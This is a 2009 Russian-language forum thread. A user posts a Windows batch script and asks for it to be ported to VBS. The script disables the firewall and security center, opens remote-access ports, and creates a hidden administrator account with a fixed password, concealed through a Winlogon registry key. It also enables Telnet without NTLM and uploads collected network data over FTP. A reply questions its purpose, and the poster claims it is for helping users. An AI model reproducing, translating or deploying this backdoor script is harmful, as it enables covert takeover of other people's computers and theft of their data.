PDA

Показать полную графическую версию : [решено] Из cmd в VBS


JIuBeHb
02-11-2009, 11:29
Уважаемые юзеры, помогите реализовать скрипт на VBS. На cmd все в точности уже давно написал... а как на VB перевести - запнулся уже на первых строчках :(

ipconfig /all > c:\windowsipconf.log //Собрать инфу о сети
net stop sharedaccess //Знаю что достаточно будет одного метода из представленных, но я подстраховался и сделал их 3 :) Чтоб наверняка.
net stop wscsvc
netsh firewall add portopening TCP 972 systemr
netsh firewall add portopening TCP 4899 systemr
sc delete "sharedaccess"
chcp 1251
net user SUPPORT_388945a0 /delete
net user odmin Qz238!1 /add
net localgroup Администраторы odmin /add
net localgroup Administrators odmin /add
net localgroup Пользователи SUPPORT_388945a0 /del
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/SpecialAccounts/UserList" /v odmin /t REG_DWORD /d 00000000
ftp -s:C:\TAR_BZ.TXT //параметры для FTP ***
del c:\windowsipconf.log
pause
exit

***Собственно хотелось бы и с этим что нибудь придумать, чтобы на Фтп через VBS залить файлы.

Dr.Dark
09-11-2009, 12:48
Хотелось бы узнать в каких целях будет использоваться данный скрипт? И не попадётся ли он завтра мне самому в виде исп. кода? :unsure:

JIuBeHb
17-11-2009, 15:49
Dr.Dark, будет использоваться исключительно в мирных целях! :)
Иногда просто юзеры просят помочь с компом...там вирус какой...или исчо чего! долго и муторно им объяснять что да как сделать... проще кинуть файлик который сделает это за 3 секунды.

Dr.Dark
19-01-2010, 01:42
Ок.....JIuBeHb, ааа чем тогда не устраивает пакетник?




© OSzone.net 2001-2012